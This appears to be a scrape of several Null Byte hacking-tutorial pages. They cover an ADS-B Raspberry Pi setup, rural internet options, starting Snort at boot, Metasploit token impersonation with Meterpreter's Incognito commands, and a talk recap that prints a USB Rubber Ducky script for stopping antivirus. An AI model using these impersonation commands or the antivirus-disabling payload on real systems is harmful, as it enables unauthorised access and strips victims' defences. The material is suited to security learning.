them, as both services will want to know this information. Additionally, once you claim your receiver, you should be upgraded to the highest level of membership for your given company.Activate on Flightradar24:Go toflightradar24.com/activate-raspberry-pi, then click on "Activate." You may have to log in first.Fill in your information and click "Verify application."Activate on FlightAware:Visitflightaware.com/adsb/piaware/claim. The claim page should look something like below. You may have to log in first.Once that is done, you can type you Pi's IP address, which can be found on the claim page, into your browser, and you'll be taken to a page like the one below. Green means that feature is working, red if it isn't. Click on "View your site statistics online" to go to your user page and configure MLAT, if you want to enable it. And now, we can use the pièce de résistance of FlightAware, click "Go to Map."This view allows you to see aircraft that are normally blocked in the app or on the website. It's really up to your own detective work to spot thespies in the skybut the FAA doeshelp you.It is also useful to turn off and on the "Show All Tracks" in the top right (e.g., a plane doing perfect circles right over your house might be suspicious).Step 7: Protect Your PiThe Pi is up and running, but not yet ready to go outside for the long term. If you only want to only use it for a few hours when it's nice out, then you don't really need any protection just mount it somewhere. However, if you are going with a long term 24/7 setup, it's recommended to use an environmentally sealed box such as a plastic electrical box (as metal ones will interfere with the Wi-Fi) found at the hardware store. It's up to you how to do this, as it will depend greatly on your mounting location. This should be as high as possible, with the antenna mounted vertically.When you're done, only the antenna should be exposed with a power cable running to the box.Step 8: View Your ADS-B StatisticsOnce you are up and running for some time, you can compare your stats with others around you and the leader board globally. This can help identify any range issues you've been having, and see how you rank collecting flight data.View your Flightradar24 stats.View your FlightAware stats.In a future article, we will look more closely at how to actually identify suspicious aircraft throughthe use of an "R" program.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseScreenshots by Hoid/Null ByteRelatedHow To:Build a Portable Pen-Testing Pi BoxHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgRaspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesRaspberry Pi:Physical Backdoor Part 1News:LEGO Aircraft CarrierNews:Airline Pet Policies
Recon « Null Byte :: WonderHowTo
No content found.
How to Get an Internet Connection in the Middle of Nowhere to Hack Remotely « Null Byte :: WonderHowTo
If you're living or staying out in the middle of nowhere or a rural area outside of a big city or town — where there are no reliable cable, fiber, or wireless networks available — how can you get an internet connection? There are several possibilities, but they all come with tradeoffs, which we'll go over in detail.Normally, rural, more isolated areas in the U.S. are usually only served by one internet provider, whether that's dial-up or some other connection type. These providers offer slower speeds than most ISPs in more populated locations. Because they are the only ones in the community, there isn't any pressure for them to innovate and upgrade their infrastructure to give users higher speeds.Don't Miss:Turn Your Raspberry Pi into a Wireless HotspotOption 1: DSL ProvidersDSL is the service that knocked dial-up off the map. It's faster than dial-up, always-on, and you can use your landline phone while you're surfing the web. This is the most common type of internet connection you'll be able to get out in the countryside since it uses the phone lines you already have. However, while faster than dial-up, it's still super slow by today's standards.When I was out in the middle of nowhere in Montana, the only DSL provider wasFrontier Communications. And typical speeds were around 10 Mbps for uploads and 1 Mbps for downloads. That's crazy slow. You might be able to stream a low-quality video on Netflix, Prime, or YouTube, but you can pretty much forget about Apple TV or Disney Plus. And a one-gigabyte file would take approximately 15 minutes with a steady connection.You'll definitely have a slow connection, but that connection will also be fairly reliable — possibly the most reliable one on this list. If you need a steady connection for downloading or uploading, this will provide you with fewer interruptions and outages.You can search in your area for DSL providers usinga simple web tool, to see what's available. Common providers include AT&T, CenturyLink, EarthLink, Frontier, and Verizon. Still, there are many companies with DSL products since it's a fairly cheap game to get into with the basic infrastructure already in place.Option 2: Satellite Data ProvidersIf there are no DSL providers in your area, another option to check out is satellite internet, where the system in place uses a geostationary orbit, aka geosynchronous equatorial orbit (GEO).Now, I'm not talking about the newStarlinksystem designed by SpaceX that can give you anywhere from 50 Mbps to over 150 Mbps download speeds. It's only available in select locations, so you likely won't be in a service zone. It's a very-low Earth orbit non-geostationary satellite orbit constellation (NGSO) with lower latency, a smaller size, and lower losses compared to its geostationary counterpart.The GEO type of satellite constellations move with Earth's rotation so that satellite antennae on the ground can be permanently fixed in one position without tracking the satellites above. They are placed above low orbit, which means high latency because of the distance to your home — and slower-than-DSL speeds. Average speeds nationwide are around 1 Mbps downloads and about a quarter of that for uploads.In the same area in Montana, usingHughesNetas my provider, I typically saw just over 1 Mbps for downloads, and it hardly ever went over 0.5 Mbps for uploads. The maximum download speed I observed was about 20 Mbps.Satellite internet is more for simple tasks, like needing a way to make a VoIP call because you have no cellular reception in the area. However, the high latency really makes even a simple call suffer because you'll be talking over each other constantly. We wouldn't recommend it except when there is absolutely nothing else. Downloading a one-gigabyte file would take almost 2.5 hours at 1 Mbps. A five-megabyte file, which is typical for many photos these days, would take almost a minute.Another downside to satellite internet is that you will not have a reliable connection if there are any obstructions such as trees, barns, large hills, and even weather in some instances. Companies serving North America includeHughesNetandViasat Internet, so there aren't many choices, and the monthly pricing tiers are ridiculously expensive — with data caps! If you can wait, hold out for Starlink.Option 3: Cellular Data ProvidersSo far, our options aren't that great, and they make cellular data providers look pretty good. If you have a smartphone that lets you use it as a personal hotspot, you can have data on your phone and your computer, killing two birds with one stone, with more portability since you just need to be in range of a cellular tower. If you want a fixed personal hotspot, you can take an old smartphone and use your wireless SIM card in that. That way, you can multitask better with your smartphone and computer.If you go this route, unlimited 4G LTE or 5G data plans are the way to go. All the big players — AT&T,T-Mobile, and Verizon — offer them. But you'll find that unlimited plans usually throttle the connection after a certain period. For instance, you may have a maximum amount of data you can use at full speeds each month before being throttled down to lower speeds. Likewise, if you're using a phone as the wireless hotspot, there may also be monthly data caps that are even lower than the regular data caps.Don't Miss:Control Network Traffic with Evil Limiter to Throttle or Kick Off DevicesSmartphones don't usually have the best antennae, so your signal may vary widely from time to time. That's why it's better to invest in a device that's solely to be a mobile hotspot. For example, on T-Mobile, you can get aZTE 4G LTE Mobile Hotspotfor about $200 orAlcatel LINKZONE 4G LTE Mobile Hotspotfor about $50, pop the SIM in that, and you're good to go.However, while the antennae in these mobile hotspots are better than in phones, you won't be able to use a directional antenna, and you'll find yourself jumping from room to room to find the best signal. You might even want to tape it to a window or place it outside! Plus, your cellular provider will know that it's not a phone, and phone plans are meant for phones. So if you use a mobile hotspot like these, you'll need amobile hotspot plan, which usually have more restrictions.The download and upload speeds you'll get will vary greatly from provider to provider and depend on the quality of the signal and the type of tower nearby. 5G towers are relatively new, so don't expect to find any of those within operating distance to you. 4G LTE is most likely, but you may even be stuck with 3G speeds in remote areas.Option 4: Spoofed Phone with Cellular Data ProvidersIf you find that mobile hotspot plans are too limiting for you, you can get around the restrictions of using a mobile hotspot on a regular smartphone plan by using a device that spoofs itself as a smartphone. We recommend theMOFI4500-4GXELTE-SIM4 with Embedded SIMwhich should work with regular phone plans on AT&T, T-Mobile, and Verizon Wireless.Mofi's router makes the network think it's a smartphone. That way, it doesn't limit you to those throttled data caps for personal hotspots (you'll only have to deal with the overall data cap) while giving you both wireless and Ethernet connections to use on all your devices. You can also use directional antennae to get the best signal possible while keeping it in a convenient location.The Mofi router is a bit expensive, starting at $299 and sometimes going up to $400.Buy on Amazon:MOFI4500-4GXELTE-SIM4 with Embedded SIM for $329Buy on Amazon:MOFI4500-4GXELTE-SIM7 with Upgraded Antennae for $299While we haven't tested them, there are cheaper solutions to the Mofi router, such as theMikroTik LHG LTE kit-US. This particular one does not provide a wireless connection and only has one Ethernet port, but it can be powered over that Ethernet port. Make sure that whatever you get, that it works on the same band.Option 5: Signal Booster for Spoofed PhoneIf the Mofi router wasn't enough to get you a fast, reliable internet connection on all of your devices, there's another thing you can do to improve things: geta signal booster. A signal booster will amplify the signal between the tower and your Mofi router, giving you the best performance possible in this list of options. However, with the Mofi router's cost and a good signal booster's price tag, it's definitely not cheap. Some of the best signal boosters can be priced up to $900, though you can get an OK one from $100 to $200.With signal boosters, you need some detailed knowledge of the cell infrastructure in the area. So you'll need to do some research to make sure it will boost the right frequency, and that can be a tricky thing to find out. Make sure that it'll work on the same band and channel that your Mofi router uses. Some of the cheaper options include:Buy on Amazon:Phonetone 4G LTE Signal Booster (Bands 12, 13, 17) for $189Buy on Amazon:Bosuru 4G LTE Signal Booster (Band 13) for $135Buy on Amazon:Amazboost 4G LTE Signal Booster (Multi-Band) for $210Buy on Amazon:HiBoost 3-Band 4G LTE Signal Booster for $199Buy on Amazon:HiBoost 4G LTE Signal Booster (Multi-Band) for $399Option 6: Channel Bonding Everything TogetherChannel bonding lets you combine all of the above options to give you the best of everything. It's a paid service that combines all of your internet sources, chops up your packets, and then sends them to a source using all of the available bandwidth where they're reassembled and sent to the internet at large. Theoretically, you could get an accumulative amount of download and upload speeds from each option, but it's more complicated to set up. Most DSL providers will offer a channel bonding option, so it's worth asking about if you're going that route.Don't Miss:How to Configure Port Forwarding to Create Internet-Connected ServicesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byMax Hermansson/UnsplashRelatedHow To:Hack a local wifi internet connection with your PSPHow To:Remove Ads in Flappy Bird on Both Android & iOS DevicesHow To:Use jQuery to improve your website and businessHow To:Set up a Remote Desktop connection on a Windows PCHow To:Establish a Remote Desktop connection in Windows XPHow To:Access & Control Your Computer Remotely Using Your iPhoneHow To:Access & Control Your Computer Remotely with Your Nexus 5How To:Extend a (Hacked)Router's Range with a Wireless Adapter.News:The True Cost of Streaming Cable (It's Not as Cheap as You Think)Google Chrome 101:How to Play the Hidden Dinosaur Mini-Game on Your iPhone or Android PhoneHow To:Stream Music & Videos from Cloud Services on AndroidHow To:Your Complete Guide to Using Remote Desktop on the Microsoft Surface and Windows 8How To:Remotely Control Computers Over VNC Securely with SSHThe Ultimate Guide:Diagnosing & Fixing Connection Issues, Part INews:THE BUFF GUY FIGHTMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Assign a Static IP Address in Windows 7The Ultimate Guide:Diagnosing & Fixing Connection Issues, Part IINews:Convicted Pervert Back in Jail for Internet Luring in SCRABBLE Chat RoomHow To:Bypass a Local Network Proxy for Free InternetInstagram Challenge:Cow with the Evil EyeNews:Legend of Zelda madnessNews:What's The Deal? Nowhere BoyNews:View Serials for any Software you want (without downloading)How To:Safely Log In to Your SSH Account Without a Password
Linux Basics for the Aspiring Hacker: Using Start-Up Scripts « Null Byte :: WonderHowTo
Very often we have processes in Linux that we want to always run in the background at startup. These would be processes that we need to start at bootup and always be available to us.If we are running a Linux distribution with a GUI (graphical user interface) likeKaliorUbuntu, we need the X11 process to be always running. If we are using Linux as a web server, we probably always wantApacheand maybeMySQLto start up at bootup and always be running.In this tutorial, we will examine how Linux starts processes at bootup and configureSnort, the world's most widely used IDS (intrusion detection system), to start automatically when booting up so that it is available to protect our network without any user interaction.Previously:Managing Hard Drives in LinuxThe Linux Boot-Up ProcessTo start, we need to examine the Linux boot-up process. In Linux, the boot-up process begins with the BIOS (basic input/output system), then the MBR (master boot record) executes GRUB (GRand Unified Bootloader), then the kernel executes the init (initialization, or first process), and then, finally, the runlevel program is executed from/etc/rc.d.As you probably already know, Linux can be started in multiple runlevels, which are:0 - halt the system1 - single user mode (minimal services)2 - multi-user modes3 - multi-user mode4 - multi-user mode5 - multi-user mode6 - reboot the systemOur Kali, being a Debian-based Linux distribution, usually boots into runlevel 2.The Init.d ProcessInit is the very first process. It is the ancestor of all Linux processes and always has the process ID of 1. As you can see in the screenshot below, init has the PID of 1.kali > ps aux | grep initThis init process then hands over the boot-up processes to rc.d daemon.It's important to note here that different Linux distributions handle the daemon start-up process slightly differently. In general, they all use the init process as the first process, but how they hand off to the start-up scripts differs slightly. In this case, we will be looking specifically at our Kali Linux which uses the same procedure as other Debian-based Linux systems.Step 1: List the init.d DirectoryNow that we have a basic understanding of the boot-up process in Linux, let's see if we can add Snort to the boot-up process in our Kali.First, let's go to the directory/etc/init.d, the init process daemon directory (not to be confused withinetd). In this directory are all the scripts to start various processes at bootup.kali > cd /etc/init.dkali > ls -lAs you can see, these are files that can be executed by init upon bootup. Note, for example, apache2. If we go a bit further down the page, we should find rc.local.Step 2: Open rc.local with a Text EditorNow let's open rc.local in any text editor, which contains a script to start necessary processes in the background when the system boots up. I will be using Leafpad here.kali > leafpad /etc/init.d/rc.localStep 3: Install SnortNow we will see if we can use what we learned to get the Snort IDS to always start at bootup. If don't already have Snort installed, do so now. To do so, you can type:kali > apt-get install snortThe Snort package will downlaod and install. As part of the install, Snort will place a start-up script in the/etc/init.ddirectory. Let's look there and confirm.kali > ls -lAs you can see, Snort has placed a start-up script in the/etc/init.ddirectory. Now all we need to do is to execute that script each time the system starts.If you compiled Snort from source code, you may not have this script. In that case, simply create a file named "snort" and save it to the/etc/init.ddirectory. In that file, place a command to start Snort such as:/usr/sbin/snort -D -c /etc/snort/snort.conf -l /var/log/snortMake certain that this script has execute privileges (755).Step 4: Strat Snort from rc.localThere are many ways to get a script to run at start up, but probably the simplest is to use the rc.local file. As we saw above, the rc.local file contains a script to start various services upon boot. Now all we need to do is append that file with commands to start Snort.Let's open that file with Leafpad and add two lines at the end of the file to [1] make certain that the proper interface is up and in promiscuous mode (ifconfig eth0 up -arp) and [2] execute the script that the Snort package placed in the init.d directory (/etc/init.d/snort start).Now whenever your system starts, Snort will always start in the background. Let's test it. Reboot your Kali system and let's see whether Snort starts automatically.Now that our system has rebooted, let's check to see if Snort is running by typing:kali > ps aux | grep snortSuccess! Now our network is always protected by Snort whenever we start our system!Keep coming back, my neophyte hackers, as we continue to explore the inner workings of Linux to give you the skills to become a professional hacker!Next Up:Using Ship in Linux for Quick & Handy IP Address InformationFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Justin Meyers/Null Byte; Screenshots by OTW/Null ByteRelatedHow To:The Essential Skills to Becoming a Master HackerNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:Hack a Site Knowing a Bit of HTML (hackthissite.org) Part 3Hack Like a Pro:Scripting for the Aspiring Hacker, Part 1 (BASH Basics)Hack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 16 (Stdin, Stdout, & Stderror)How To:Perl for the Aspiring Hacker - Part 1 - VariablesHow To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:SOPA and PIPA Blackout!Goodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens) « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!Hacker newbies have an inordinate fixation onpassword cracking. They believe that cracking the password is the only way to gain access to the target account and its privileges. If what we really want is access to a system or other resources, sometimes we can get it without a password. Good examples of this are replay attacks andMitM attacks. Neither requires us to have passwords to have access to the user's resources.Another way to gain access to a user's account, resources, and privileges is through capturing or impersonating the user's tokens.An important concept I want to emphasize here is that of tokens. In Windows, a token is an object that contains the identity and privileges of the user. When a user logs in, their identity is verified by checking their password against the stored, hashed password list and, if it matches, they are allowed in. The system then issues a token to the user that contains their privileges. Whenever the user wants to access a resource or process, the token is presented to determine whether they are permitted access. Obviously, if we can grab or impersonate that token, we can access all of their accounts and resources without having to crack their password!In this tutorial, we will useMetasploitand theMeterpreterto grab an authenticated user's token. There is a script in Metasploit named "Incognito" that is capable of grabbing tokens and impersonating them. This script was first developed by security researchers independent of Metasploit, but was then integrated into our beloved Metasploit Framework and is available to anyone using this powerful tool.Step 1: Fire Up Kali and MetasploitTo start, fire upKaliand start Metasploit by typing:kali > msfconsoleYou will be greeted by a screen like that above. Please note that I have changed the default background in Kali to a less ominous looking image. Yours may look different.Step 2: Exploit the System & Get MeterpreterNext, exploit the system and get the meterpreter. In this case, I have exploited an unpatched 2003 Server (there are millions of them still around and support has just ended, so they will no longer be receiving patches). Rather than me repeat here how to exploit a system, please check out mypast Metasploit tutorials.As you can see in the screenshot below, I have gained a Meterpreter prompt on the target system.Step 3: Load the Incognito ModuleIncognito is not loaded into the Meterpreter by default, so we need to load it into the Meterpreter before we can use it.meterpreter > load incognitoStep 4: List Available TokensNext, we need to view what tokens are available on the system by listing them.meterpreter > list_tokens -uAs you can see, I (OTW) have a token on the target system named 23KTARGET\OTW. Let's see if we can impersonate that token and gain the privileges of OTW.Step 5: Impersonate the TokenAs you might expect, the command to impersonate a token is:meterpreter > impersonate_token 2K3TARGET\\OTWIt's important to note that in the above command, I used the "\\" before OTW. The first "\" escapes the second "\" so that the system sees the "\" as a literal and not a special character. If you write this command with a single backslash, it will tell you that the token was "not found."If Incognito can impersonate the token, it responds as in the screenshot above: "Successfully impersonated user 2K3TARGET\OTW." Now that we have the token of OTW, we can access and use any resources that OTW has privileges to without cracking their password!Keep coming back, my tenderfoot hackers, as we continue along our path to your becoming a professional hacker!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:The Hacker MethodologyHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Five Phases of HackingHack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)How To:Disable WPAD on Your PC So Your HTTPS Traffic Won't Be Vulnerable to the Latest SSL AttackHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)News:What to Expect from Null Byte in 2015Goodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker Training
Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber Ducky « Null Byte :: WonderHowTo
Null Byte users have often requested video content, but the question has always been what format would best serve our community. This week, we partnered withNull Space Labs, a hackerspace in Los Angeles, to test the waters by hosting a series of talks on ethical hacking for students in Pasadena Computer Science Club. We invited students and Null Byte writers to deliver talks on Wi-Fi hacking, MITM attacks, and rogue devices like the USB Rubber Ducky.(1) Pasadena CS Students attend Null Byte and Null Space Labs's Ethical Hacking talk. (2) Our "Google Starbucks" network demonstrating how to capture wireless hosts. (3) Kody Kinzie explains the attackers behind Wi-Fi hacking. (4) Ian explaining how to encode IP addresses to hide them from firewalls.Images viaNull ByteWhile our first live stream started slightly delayed, our group of writers and students is excited to bring you the first of our workshops and presentations. Below, you can catch the recorded streams of the events, as well as the decks from each talk where applicable.Wi-Fi Hacking: Who Hacks Wi-Fi & What Tools Do They Use?By Kody KinzieKody Kinzie speaks on Wi-Fi hacking threats in 2017.Image via Null ByteUse of Wi-Fi is incredibly widespread in 2017. In the city of Los Angeles alone, there are hundreds of thousands of wireless networks, many of which touch critical infrastructure. Kody Kinzie is a CS student researching Wi-Fi security, and the tactics people use to break it.Kody explains the tactics currently used to break or bypass the technology that makes Wi-Fi secure, and the motivations behind groups who hack Wi-Fi in 2017. In addition, the basic tools used by each threat group are discussed relative to how much skill is required to use them.Check out these related articles:Wi-Fi Phishing:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherPassword CrackingCracking WPA2-PSK Passwords Using Aircrack-NgEvil Twin:Capturing WPA Passwords by Targeting Users with a Fluxion AttackCustom Wordlists:How to Crack Passwords, Creating a Custom Wordlist with CrunchReaver Attacks:Hack WPA Wi-Fi Passwords by Cracking the WPS PINMITM Attacks: Network Sniffing Over Routers/SwitchesBy Ian O'NeillIan O'Neill explains MITM attacks to computer science students.Image via Null ByteMan in the Middle attacks intercept and redirect traffic, and can be extremely dangerous when employed correctly. Ian O'Neill explains in detail the fundamentals of a MITM attack, from creating a fake network to downgrading HTTPS connections to HTTP.MITM attacks continue to present a viable threat when users fall for phishing and ignore warnings, in spite of the trend towards HTTPS and more secure internet connections. Take a trip to the dark side with us to explore the hands-on ways an attacker can employ an effective MITM attack.Check out these related articles:SSL Strip :Defeat SSL in Practice with SSL StripMTIM Tools:Build a Man-in-the-Middle Tool with Scapy and PythonMITM Attacks:How to Conduct a Simple Man-in-the-Middle AttackMITM Framework:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketRogue Devices: Antivirus Disabler Script on the USB Rubber DuckyBy Tim SchellinTim demonstrates a USB Rubber Ducky payload.Image via Null ByteAntivirus is the first line of defense for most systems, allowing even well-crafted malware to be defeated before deploying a payload. Timothy Shellion is a CS student using the USB Rubber Ducky to design payloads to defeat antivirus, and explains what a rogue device like a USB Rubber Ducky is, and how it works.Timothy demonstrates his simple Duckyscript code to disable antivirus on Windows, and explains how the device can be used to defeat even well-defended systems when physical access is achieved. The potential of this device reach far beyond simply disabling antivirus, and the process of creating a payload for a rogue device is explained.You can see Tim's Duckyscript to disable Windows Antivirus here:DELAY 300GUI sDELAY 300STRING powershellDELAY 500CTRL-SHIFT ENTERDELAY 500STRING get-serviceENTERDELAY 750STRING stop-service -force "avast! antivirus"ENTERDELAY 750ENTERDELAY 500STRING get-service "avast! antivirus"ENTERCheck out these related articles:Load Payloads:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyAutomate Hacking:Automate Hacking on the Raspberry Pi with the USB Rubber DuckySteal Files:Steal macOS Files with the USB Rubber DuckyCustom Firmware:Modify the USB Rubber Ducky with Custom FirmwareWant More Video Content?If you enjoyed this and would like to see more video content, let us know in the comments below. Thank you toNull Space Labs, and Pasadena Computer Science Club for helping us put on our first Null Byte event. If you're in the SoCal area and interested in getting involved in our of our talks or workshops, please reach out to us on Twitter!Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Null ByteRelatedHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Modify the USB Rubber Ducky with Custom FirmwareHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyHow To:Steal macOS Files with the USB Rubber DuckyHacking macOS:How to Steal Signal Conversations from a MacBook with a USB Rubber DuckyAndroid for Hackers:How to Backdoor Windows 10 Using an Android Phone & USB Rubber DuckyHacking Gear:10 Essential Gadgets Every Hacker Should TryHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+News:Hak5 Just Released the Packet SquirrelHacking Android:How to Create a Lab for Android Penetration TestingBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Use the USB Rubber Ducky to Disable Antivirus Software & Install RansomwareHow To:Hack MacOS with Digispark Ducky Script PayloadsHow To:Build a Pumpkin Pi — The Rogue AP & MITM Framework That Fits in Your PocketHow To:Run USB Rubber Ducky Scripts on a Super Inexpensive Digispark BoardHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Steal Usernames & Passwords Stored in Firefox on Windows 10 Using a USB Rubber DuckyHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Catch USB Rubber Duckies on Your Computer with USBRipHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow Null Byte Injections Work:A History of Our NamesakeWeekend Homework:How 